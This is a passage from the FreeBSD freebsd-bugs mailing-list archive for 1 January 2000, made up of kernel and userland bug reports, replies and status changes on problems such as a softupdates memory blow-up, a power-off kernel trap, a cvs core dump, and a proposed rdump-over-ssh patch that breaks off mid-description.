From owner-freebsd-bugs Sat Jan 1 9: 4: 4 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from florence.pavilion.net (florence.pavilion.net [212.74.0.25]) by hub.freebsd.org (Postfix) with ESMTP id 88B1114DC0 for ; Sat, 1 Jan 2000 09:04:01 -0800 (PST) (envelope-from joe@florence.pavilion.net) Received: (from joe@localhost) by florence.pavilion.net (8.9.3/8.8.8) id RAA41659 for freebsd-bugs@FreeBSD.ORG; Sat, 1 Jan 2000 17:03:57 GMT (envelope-from joe) Date: Sat, 1 Jan 2000 15:55:11 +0000 From: Josef Karthauser To: Yoshinobu Inoue Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend Message-ID: <20000101155511.B32323@florence.pavilion.net> References: <200001010339.TAA16831@freefall.freebsd.org> <20000101163112Y.shin@nd.net.fujitsu.co.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <20000101163112Y.shin@nd.net.fujitsu.co.jp> X-NCC-RegID: uk.pavilion Organisation: Pavilion Internet plc, Lees House, 21-23 Dyke Road, Brighton, England Phone: +44-845-333-5000 Fax: +44-845-333-5001 Mobile: +44-403-596893 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Jan 01, 2000 at 04:31:12PM +0900, Yoshinobu Inoue wrote: > > There was a report from japanese bsd-nomads mailing list that > the problem is fixed on ed driver, but aue driver still has > such kind of problem, and it can be avoided by following > procedure. > > before un-plug the card, do > route flush; ifconfig aue0 down; ifconfig aue0 delete > I'm using an ep (3Com Etherlink III 3C589D). Joe -- Josef Karthauser FreeBSD: Take the red pill and we'll show you just how Technical Manager deep the rabbit hole goes. (http://www.uk.freebsd.org) Pavilion Internet plc. [joe@pavilion.net, joe@freebsd.org, joe@tao.org.uk] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 9:30:38 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from fgwmail7.fujitsu.co.jp (fgwmail7.fujitsu.co.jp [192.51.44.37]) by hub.freebsd.org (Postfix) with ESMTP id 2D6EC14FD4; Sat, 1 Jan 2000 09:30:34 -0800 (PST) (envelope-from shin@nd.net.fujitsu.co.jp) Received: from m3.gw.fujitsu.co.jp by fgwmail7.fujitsu.co.jp (8.9.3/3.7W-MX9912-Fujitsu Gateway) id CAA01098; Sun, 2 Jan 2000 02:30:32 +0900 (JST) (envelope-from shin@nd.net.fujitsu.co.jp) Received: from incapgw.fujitsu.co.jp by m3.gw.fujitsu.co.jp (8.9.3/3.7W-9912-Fujitsu Domain Master) id CAA20719; Sun, 2 Jan 2000 02:30:31 +0900 (JST) Received: from localhost ([192.168.245.112]) by incapgw.fujitsu.co.jp (8.9.3/3.7W-9912) id CAA20867; Sun, 2 Jan 2000 02:30:16 +0900 (JST) To: joe@FreeBSD.ORG Cc: joe@pavilion.net, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/15742: Laptop -current panics in in6_ifattach after suspend In-Reply-To: <20000101163112Y.shin@nd.net.fujitsu.co.jp> References: <200001010339.TAA16831@freefall.freebsd.org> <20000101163112Y.shin@nd.net.fujitsu.co.jp> X-Mailer: Mew version 1.94 on Emacs 20.4 / Mule 4.0 (HANANOEN) X-Prom-Mew: Prom-Mew 1.93.4 (procmail reader for Mew) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000102023050X.shin@nd.net.fujitsu.co.jp> Date: Sun, 02 Jan 2000 02:30:50 +0900 From: Yoshinobu Inoue X-Dispatcher: imput version 990905(IM130) Lines: 49 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I don't believe that this has fixed the problem. I've just got > > a panic with exactly the same backtrace on a kernel that I've confirmed > > has this patch in. > > Please let me know the name of the LAN card driver, you are > using. Sorry for my stupid question. It was already written in your previous bug report. I also have 3Com Etherlink III 3C589D, and I tried several tests on my FreeBSD current PC. Unfortunately my PC (panasonic Let's Note AL-N4) can not do software suspend(apm -Z or zzz) in FreeBSD current environment, so I tried pccardc power 0 0 (my ep0 power down) Then my ep0 disappeared, and then pccardc power 0 1 Then my ep0 appeared again. And there was no problem. I think essentialy same thing will happen on ep when suspend/resume is done. (By the way, at least in my environment, dynamic ep0 plugging/unplugging is not seems to be supported.) I also reviewed several code part, and it seems to me that panicing at in6_ifattach()(line 384 of in6_ifattach.c) after suspend/resume is very not likely to happen for any interface which calls if_detach() at suspend. (If sys/net/if.c version is 1.82) And if some interface don't call if_detach at suspend, then it will panic at any ifconfig related operation. (e.g. some problem should also happen on a kernel where INET6 is not defined.) Is your current problem exactly same as before?, and happens only on INET6 defined kernel? I am afraid if it is some other new problem. Yoshinobu Inoue To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 12:20: 7 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5543914F41 for ; Sat, 1 Jan 2000 12:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id MAA19430; Sat, 1 Jan 2000 12:20:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 55FC215023 for ; Sat, 1 Jan 2000 12:10:56 -0800 (PST) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA92570; Sat, 1 Jan 2000 12:10:55 -0800 (PST) (envelope-from dillon) Message-Id: <200001012010.MAA92570@apollo.backplane.com> Date: Sat, 1 Jan 2000 12:10:55 -0800 (PST) From: dillon@backplane.com Reply-To: dillon@backplane.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15825: Softupdates gets behind, runs the system out of KVM Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15825 >Category: kern >Synopsis: Softupdates gets behind, runs the system out of KVM >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 12:20:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Matthew Dillon >Release: FreeBSD 3.4-STABLE i386 >Organization: Backplane Inc. >Environment: FreeBSD 3.4, UP configuration, 512MB ram, fast (40MB/sec) adaptec SCSI subsystem, fast disks (seacreate 18Gers). >Description: In tests with postmark and also noted with programs like postfix (a mail backend), softupdates can get bogged down with directory add/rem dependancies that cause the number of dependancies in several softupdates categories to increase continuously until the system runs out of KVM. A second bug found: When ^Zing a postmark process I found that it stopped right in the middle of a softupdates sleep while softupdates was holding at least one lock. The other three postmark processes COULD NOT BE INTERRUPTED while the first one was in a stopped state. Attempting to limit the number of dependancies with debug.max_softdeps does not stop the problem and may in fact exasperate it. -- Ho ho! Overnight the KVM useage in my postmark test on my FreeBSD-3.x test box jumped from 8MB to 51MB. My 4.x test box has remained stable at 18MB - no jump in KVM useage. Now I am having a hellofatime trying to stop the four postmark processes. If I stop one it prevents the others from being stopped. softupdates seems to allow processes to be stopped while holding locks! That's a bug, but not the one causing the KVM useage. st4# ps axl | fgrep post 0 684 335 0 18 0 6472 5976 softup T p1 71:26.51 postmark 0 863 335 0 -2 0 6472 6076 getblk D p1 125:05.16 postmark 0 864 335 0 -2 0 6472 6076 getblk D p1 127:46.63 postmark 0 866 335 0 18 0 6472 6076 - T p1 133:22.19 postmark 'sync' has no real effect, even after I kill the processes. iostat shows that ccd0 is completely saturated. test4# iostat ccd0 1 tty ccd0 cpu tin tout KB/t tps MB/s us ni sy in id 0 21 0.00 0 0.00 1 0 30 1 68 0 43 4.82 127 0.60 1 0 14 0 85 0 43 6.91 347 2.34 0 1 12 1 86 0 43 6.92 212 1.43 0 0 0 1 99 0 42 5.80 122 0.69 0 1 22 0 77 0 43 6.04 130 0.76 0 0 26 0 74 Here is the first vmstat -m output: NQNFS Lease 1 1K 1K 85696K 1 0 0 1K NFS hash 1 128K 128K 85696K 1 0 0 128K pagedep 64 20K 30K 85696K 150650 0 0 64,16K inodedep 95866 12112K 12468K 85696K 12084672 0 0 128,128K newblk 1 1K 1K 85696K 31740889 0 0 32,256 bmsafemap 73 3K 4K 85696K 1994953 0 0 32 allocdirect 325 21K 354K 85696K 31185275 0 0 64 indirdep 10 41K 129K 85696K 353964 0 0 32,8K allocindir 12 1K 9K 85696K 555613 0 0 64 freefrag521374 16293K 16343K 85696K 19393498 0 0 32 freeblks 72564 9071K 9147K 85696K 2318532 0 0 128 freefile 72564 2268K 2287K 85696K 2318532 0 0 32 diradd 483 16K 193K 85696K 2528350 0 0 32 mkdir 0 0K 1K 85696K 8 0 0 32 dirrem 95262 2977K 2988K 85696K 2413794 0 0 32 FFS node 25743 6436K 6436K 85696K 3221821 0 0 256 MFS node 1 1K 1K 85696K 3 0 0 64,256 UFS ihash 1 128K 128K 85696K 1 0 0 128K UFS mount 21 52K 52K 85696K 24 0 0 512,2K,4K,32K ZONE 18 3K 3K 85696K 18 0 0 128 mbuf 1 4K 4K 85696K 1 0 0 4K memdesc 1 4K 4K 85696K 1 0 0 4K Memory Totals: In Use Free Requests 51035K 2398K 156200252 Here is the second vmstat -m output, a few minutes after I've killed the four postmark processes. The softupdates dependancies are slowly draining. NQNFS Lease 1 1K 1K 85696K 1 0 0 1K NFS hash 1 128K 128K 85696K 1 0 0 128K pagedep 1 16K 30K 85696K 151028 0 0 64,16K inodedep 79358 10048K 12468K 85696K 12120648 0 0 128,128K newblk 1 1K 1K 85696K 31781645 0 0 32,256 bmsafemap 0 0K 4K 85696K 1999787 0 0 32 allocdirect 0 0K 354K 85696K 31225336 0 0 64 indirdep 0 0K 129K 85696K 354517 0 0 32,8K allocindir 0 0K 9K 85696K 556308 0 0 64 freefrag423942 13249K 16365K 85696K 19416872 0 0 32 freeblks 75076 9385K 9460K 85696K 2338023 0 0 128 freefile 75076 2347K 2365K 85696K 2338023 0 0 32 diradd 0 0K 193K 85696K 2531655 0 0 32 mkdir 0 0K 1K 85696K 8 0 0 32 dirrem 79088 2472K 2988K 85696K 2417111 0 0 32 FFS node 25743 6436K 6436K 85696K 3340478 0 0 256 MFS node 1 1K 1K 85696K 3 0 0 64,256 UFS ihash 1 128K 128K 85696K 1 0 0 128K UFS mount 21 52K 52K 85696K 24 0 0 512,2K,4K,32K ZONE 18 3K 3K 85696K 18 0 0 128 mbuf 1 4K 4K 85696K 1 0 0 4K memdesc 1 4K 4K 85696K 1 0 0 4K Memory Totals: In Use Free Requests 46714K 6718K 156702268 The drain rate: test4# while (1) while? vmstat -m | tail -2 while? sleep 10 while? end Memory Totals: In Use Free Requests (10 seconds per) 34127K 19334K 156997508 Memory Totals: In Use Free Requests 33262K 20199K 157014568 Memory Totals: In Use Free Requests 32303K 21157K 157029536 Memory Totals: In Use Free Requests 31287K 22174K 157045809 Memory Totals: In Use Free Requests 30471K 22989K 157063038 Memory Totals: In Use Free Requests 29270K 24191K 157079301 Memory Totals: In Use Free Requests 28361K 25100K 157099823 Memory Totals: In Use Free Requests 27123K 26338K 157117218 Memory Totals: In Use Free Requests 25984K 27520K 157132238 Memory Totals: In Use Free Requests 25760K 27913K 157151309 Memory Totals: In Use Free Requests 25463K 28322K 157182362 ... It's obvious to me what is going on. First we have a serious bug somewhere in the softupdates code that is allowing signal-stop to occur while softupdates is waiting for a lock. But what is really causing all hell to break loose is a combination of sotupdates building up a huge set of interrelated dependancies that eats a *lot* of disk bandwidth to unwind (due to seeking back and forth), and FreeBSD-3.x not flushing the 'right' buffers. I'm not sure what 4.x is doing that is making it less susceptible to the softupdates problem. It's quite obvious to me that 3.x is flushing its buffers non-optimally (well, we knew that already, that's one reason why getnewbuf() was rewritten and buf_daemon added!) but it's hard to say what 'optimal' should be since neither 3.x's nor 4.x's buffer cache are softupdates-aware (they can't tell whether a buffer will be redirted or not when they flush it). Kirk relies on the update daemon to flush vnodes out in the correct order but this tends to break down badly in a heavily loaded system. What we are left with is an non-optimal flush coupled with a huge set of interrelated dependancies. I also recall that the file-remove case is a complex special case with softupdates. Considering the number of 'dirrem' softupdates elements allocated I am guessing that this is the core of the problem. A vmstat -m on my 4.x test box, running the same postmark test for the same amount of time (about 24 hours) shows: inodedep 798 356K 2638K102400K 11294336 0 0 128,256K newblk 1 1K 1K102400K 10117649 0 0 32,256 bmsafemap 22 1K 12K102400K 3241677 0 0 32 allocdirect 435 28K 389K102400K 10117240 0 0 64 indirdep 0 0K 65K102400K 64 0 0 32,8K,32K allocindir 0 0K 10K102400K 408 0 0 64 freefrag 270 9K 73K102400K 2706257 0 0 32 freeblks 156 20K 1673K102400K 4255762 0 0 128 freefile 156 5K 419K102400K 4255793 0 0 32 diradd 219 7K 582K102400K 4342945 0 0 32 mkdir 0 0K 1K102400K 12 0 0 32 dirrem 96 3K 430K102400K 4255939 0 0 32 FFS node 47959 11990K 12415K102400K 4728732 0 0 256 UFS ihash 1 256K 256K102400K 1 0 0 256K UFS mount 18 49K 49K102400K 18 0 0 512,2K,4K,32K VM pgdata 1 256K 256K102400K 1 0 0 256K ZONE 18 3K 3K102400K 18 0 0 128 isadev 12 1K 1K102400K 12 0 0 64 ATA generic 3 1K 1K102400K 3 0 0 128 ATAPI generic 2 1K 1K102400K 3 0 0 32,128,256 ACD driver 3 2K 2K102400K 3 0 0 16,256,1K devbuf 749 407K 1654K102400K 22387016 0 0 16,32,64,128,256,512,1K,2K,4K,8K,16K,32K mbuf 1 4K 4K102400K 1 0 0 4K memdesc 1 4K 4K102400K 1 0 0 4K isa_devlist 19 3K 3K102400K 19 0 0 16,512,2K atkbddev 2 1K 1K102400K 2 0 0 16 Memory Totals: In Use Free Requests 18292K 7244K 97850590 The worst case KVM useage didn't blow up like it did on the 3.x box, though it is still using a considerable amount of meemory - 18+7 = 25MB at peak. But when I observe it in real time it is clear to me that although directory file removal dependancies build up, they appear to drain quickly enough to not post a problem. For example, I see 'dirrem' useage jump around between 0 and 200. I see 'diradd' useage build up to around 450 and then stabilize and finally drop down again. >How-To-Repeat: Create a large (18G or larger) partition. (cd /usr/ports/benchmarks/postmark; make; make install) rehash mkdir test1 mkdir test2 mkdir test3 mkdir test4 (cd /partition/test1; postmark) (run four in parallel) (cd /partition/test2; postmark) (cd /partition/test3; postmark) (cd /partition/test4; postmark) Use the following parameters for each postmark: set number 30000 set transactions 4000000 set size 1500 200000 run >Fix: None as yet. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 12:48:13 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 715FB14F41; Sat, 1 Jan 2000 12:48:12 -0800 (PST) (envelope-from dillon@FreeBSD.org) Received: (from dillon@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id MAA21010; Sat, 1 Jan 2000 12:48:12 -0800 (PST) (envelope-from dillon@FreeBSD.org) Date: Sat, 1 Jan 2000 12:48:12 -0800 (PST) From: Message-Id: <200001012048.MAA21010@freefall.freebsd.org> To: dillon@FreeBSD.org, freebsd-bugs@FreeBSD.org, dillon@FreeBSD.org Subject: Re: kern/15825: Softupdates gets behind, runs the system out of KVM Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Softupdates gets behind, runs the system out of KVM Responsible-Changed-From-To: freebsd-bugs->dillon Responsible-Changed-By: dillon Responsible-Changed-When: Sat Jan 1 12:47:53 PST 2000 Responsible-Changed-Why: Assigning my own bug report to myself To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 16: 6:46 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from maihue.ctcinternet.cl (maihue.ctcinternet.cl [200.28.216.11]) by hub.freebsd.org (Postfix) with ESMTP id 9E2CD14F83 for ; Sat, 1 Jan 2000 16:06:39 -0800 (PST) (envelope-from lagarto@ctcreuna.cl) Received: from ctcreuna.cl (200.28.135.94) by maihue.ctcinternet.cl (NPlex 4.0.068) id 386E957B0000009A for freebsd-bugs@FreeBSD.ORG; Sat, 1 Jan 2000 21:07:32 -0300 Message-ID: <386E984C.A751EEBA@ctcreuna.cl> Date: Sat, 01 Jan 2000 21:14:04 -0300 From: "Linux User Kenyito (^_^)!!!!Hi!!!" X-Mailer: Mozilla 4.08 [muriyari-ja_euc] (X11; I; Linux 2.2.9 i586) MIME-Version: 1.0 To: freebsd-bugs@FreeBSD.ORG Subject: just asking you Content-Type: text/plain; charset=iso-2022-jp Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org just asking you until yesterday i did use ,Free BSD 2.2.7 ,,today is 1st Jan 2000. i got one of problem of Kinput2 ,,so i did tried install 2.2.7 again this morning .several time i did install from package as /stand/sysinstall but only "Editor" program are not install ,, exactly already install can see it file but can't start program again.vi is nothing problem but dpnote ,emacs,mule and Xemacs are fail .just like freeze .what can i do ?i have to back Linux better ? why do not try to install 3.4 up version ? because ,,past ver 3.0 ,,i can not install any more new version of Free BSD .my HDD is tekram scsi type . does not suppots this type of HDD any more.? From Santiago,Chile ( if you want detail for japanese ,i will write again in Japanese ) Kenyito To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 16:30: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5174015142 for ; Sat, 1 Jan 2000 16:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id QAA33428; Sat, 1 Jan 2000 16:30:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from wolf2.rv1.dynip.com (surf1905.jacksonville.net [24.129.54.105]) by hub.freebsd.org (Postfix) with ESMTP id DFC2514D1D for ; Sat, 1 Jan 2000 16:24:48 -0800 (PST) (envelope-from mjoyner@wolf2.rv1.dynip.com) Received: (from mjoyner@localhost) by wolf2.rv1.dynip.com (8.9.3/8.9.2) id TAA82585; Sat, 1 Jan 2000 19:24:46 -0500 (EST) (envelope-from mjoyner) Message-Id: <200001020024.TAA82585@wolf2.rv1.dynip.com> Date: Sat, 1 Jan 2000 19:24:46 -0500 (EST) From: mjoyner@rv1.dynip.com Reply-To: mjoyner@rv1.dynip.com To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: kern/15827: Kernel trap 9 with interrupts disabled during power off Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15827 >Category: kern >Synopsis: Power-Off causes Trap 9 in kernel >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 16:30:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Michael Joyner >Release: FreeBSD 3.4-RELEASE i386 >Organization: RV1 Business Internet Solutions >Environment: Intel Pentium-S 166Mhz ATX Power Supply APM enabled in BIOS/CMOS APM compiled into kernel APM=YES in rc.conf APMD=YES in rc.conf 3.4-RELEASE (upgraded from 3.3-RELEASE) 64 Megs Ram IDE >Description: Same machine before upgradeing from 3.3-RELEASE to 3.4-RELEASE powered off properly. Am getting ready to send box to city far away.. won't have long... halt -p causes ... (retyped output) ----------- syncing disks... 3 3 done kernel trap 9 with interrupts disabled Fatal trap 9: general protection fault while in kernel mode instruction pointer = 0x48:0x880f stack pointer = 0x10:0xc5d5ce68 frame pointer = 0x10:0x67890000 code segment = base 0xc00f0000, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 0, gran 0 processor eflags = resume, IOPL = 0 current process = 426 (halt) interrupt mask = net tty bio cam trap number = 9 panic: general proction fault Automatic reboot in 15 seconds - press a key on the console to abort --> Press a key on the console to reboot <-- ------------- >How-To-Repeat: How to repeat on different machine is unknown. >Fix: Don't know, Wouldn't know where to start. :) >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 17: 0: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 08B4715133 for ; Sat, 1 Jan 2000 17:00:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA35412; Sat, 1 Jan 2000 17:00:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: by hub.freebsd.org (Postfix, from userid 32767) id CEB3015109; Sat, 1 Jan 2000 16:57:48 -0800 (PST) Message-Id: <20000102005748.CEB3015109@hub.freebsd.org> Date: Sat, 1 Jan 2000 16:57:48 -0800 (PST) From: jacobsm@gate.net To: freebsd-gnats-submit@freebsd.org X-Send-Pr-Version: www-1.0 Subject: bin/15828: pr command gets segmentation fault Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15828 >Category: bin >Synopsis: pr command gets segmentation fault >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 17:00:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Mark Jacobs >Release: FreeBSD 3.4 Stable, cvsuped 1/1/2000 >Organization: NA >Environment: >Description: pr command gets segmentation fault >How-To-Repeat: enter pr command >Fix: >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 17:20: 3 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 59F6415138 for ; Sat, 1 Jan 2000 17:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA36447; Sat, 1 Jan 2000 17:20:01 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from genius.systems.pavilion.net (genesis.tao.org.uk [194.242.131.254]) by hub.freebsd.org (Postfix) with ESMTP id 0E57014A1D for ; Sat, 1 Jan 2000 17:16:05 -0800 (PST) (envelope-from joe@genius.systems.pavilion.net) Received: by genius.systems.pavilion.net (Postfix, from userid 100) id D90A01AE; Sun, 2 Jan 2000 01:16:58 +0000 (GMT) Message-Id: <20000102011658.D90A01AE@genius.systems.pavilion.net> Date: Sun, 2 Jan 2000 01:16:58 +0000 (GMT) From: joe@freebsd.org Reply-To: joe@freebsd.org To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15829: cvs -C not_a_number core dumps Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15829 >Category: bin >Synopsis: cvs -C not_a_number core dumps >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 17:20:00 PST 2000 >Closed-Date: >Last-Modified: >Originator: Joe Karthauser >Release: FreeBSD 4.0-CURRENT i386 >Organization: FreeBSD >Environment: FreeBSD-4.0 as of date. >Description: The 'cvs diff -C' command core dumps if given a non-numeric context length. >How-To-Repeat: genius# cvs diff -C 1 Makefile.inc Index: Makefile.inc =================================================================== RCS file: /home/ncvs/src/lib/libc/gen/Makefile.inc,v retrieving revision 1.57 diff -C1 -r1.57 Makefile.inc *** Makefile.inc 1999/12/27 04:43:54 1.57 --- Makefile.inc 2000/01/01 22:03:02 *************** *** 22,24 **** scandir.c seed48.c seekdir.c semconfig.c semctl.c semget.c semop.c \ ! setdomainname.c sethostname.c setjmperr.c setmode.c shmat.c \ shmctl.c shmdt.c shmget.c siginterrupt.c siglist.c signal.c \ --- 22,24 ---- scandir.c seed48.c seekdir.c semconfig.c semctl.c semget.c semop.c \ ! setdomainname.c setflags.c sethostname.c setjmperr.c setmode.c shmat.c \ shmctl.c shmdt.c shmget.c siginterrupt.c siglist.c signal.c \ genius# cvs diff -C not_a_number Makefile.inc Index: Makefile.inc =================================================================== RCS file: /home/ncvs/src/lib/libc/gen/Makefile.inc,v retrieving revision 1.57 diff -Cnot_a_number -r1.57 Makefile.inc cvs diff: invalid context length argument zsh: segmentation fault (core dumped) cvs diff -C not_a_number Makefile.inc >Fix: No investigation done. >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 17:38:28 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 86E7514E83; Sat, 1 Jan 2000 17:38:27 -0800 (PST) (envelope-from steve@FreeBSD.org) Received: (from steve@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id RAA37549; Sat, 1 Jan 2000 17:38:27 -0800 (PST) (envelope-from steve@FreeBSD.org) Date: Sat, 1 Jan 2000 17:38:27 -0800 (PST) From: Message-Id: <200001020138.RAA37549@freefall.freebsd.org> To: jacobsm@gate.net, steve@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: bin/15828: pr command gets segmentation fault Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: pr command gets segmentation fault State-Changed-From-To: open->closed State-Changed-By: steve State-Changed-When: Sat Jan 1 17:38:02 PST 2000 State-Changed-Why: Not enough details for us to help out. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Jan 1 18:11:20 2000 Delivered-To: freebsd-bugs@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 574601517B for ; Sat, 1 Jan 2000 18:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.9.3/8.9.2) id SAA39554; Sat, 1 Jan 2000 18:10:02 -0800 (PST) (envelope-from gnats@FreeBSD.org) Received: from news-ma.rhein-neckar.de (news-ma.rhein-neckar.de [193.197.90.3]) by hub.freebsd.org (Postfix) with ESMTP id 9F5E114DB6 for ; Sat, 1 Jan 2000 18:00:42 -0800 (PST) (envelope-from naddy@bigeye.rhein-neckar.de) Received: from bigeye.rhein-neckar.de (uucp@localhost) by news-ma.rhein-neckar.de (8.8.8/8.8.8) with bsmtp id DAA10310 for FreeBSD-gnats-submit@freebsd.org; Sun, 2 Jan 2000 03:00:41 +0100 (CET) (envelope-from naddy@bigeye.rhein-neckar.de) Received: (from naddy@localhost) by bigeye.rhein-neckar.de (8.9.3/8.9.3) id CAA88226; Sun, 2 Jan 2000 02:59:34 +0100 (CET) (envelope-from naddy) Message-Id: <200001020159.CAA88226@bigeye.rhein-neckar.de> Date: Sun, 2 Jan 2000 02:59:34 +0100 (CET) From: Christian Weisgerber Reply-To: naddy@mips.rhein-neckar.de To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.2 Subject: bin/15830: PATCH: rdump over ssh Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 15830 >Category: bin >Synopsis: PATCH: rdump over ssh >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sat Jan 1 18:10:01 PST 2000 >Closed-Date: >Last-Modified: >Originator: Christian Weisgerber >Release: FreeBSD 4.0-CURRENT i386 >Organization: >Environment: >Description: The included patch adds to dump/restore the capability to access tape devices on remote hosts over an arbitrary rsh-like program. In particular, this is intended to allow the use of ssh. Currently, dump/restore offer remote tape access using rcmd(3) to call rmt on the remote host. This patch adds a flag "-P " to spawn a coprocess using , in lieu of rcmd(3). "-P" was chosen because it is used for the same purpose by rdist(1). Most of the actual code has been taken from rdist, too. Issues: * The biggest chunk of the patch is the addition of a dump/rshrcmd.c module, which is almost literally copied from rdist/rshrcmd.c. Alas, the latter can't be used directly. The module adds the function rshrcmd(), which is mostly a drop-in replacement for rcmd(), transparently calling a rsh-like program. - rdist uses a local function error() to display error messages, dump uses msg(). This could be handled by compiling with -Derror=msg or by adding error() as wrapper for msg(). Both solutions appear questionable to me. - If the operator presses the interrupt character (^C), SIGINT is delivered to all processes in the foreground process group. The five processes spawned by the dump command variously catch or ignore SIGINT. The operator is offered a choice of aborting or continuing the dump run. Alas, the coprocess also receives the 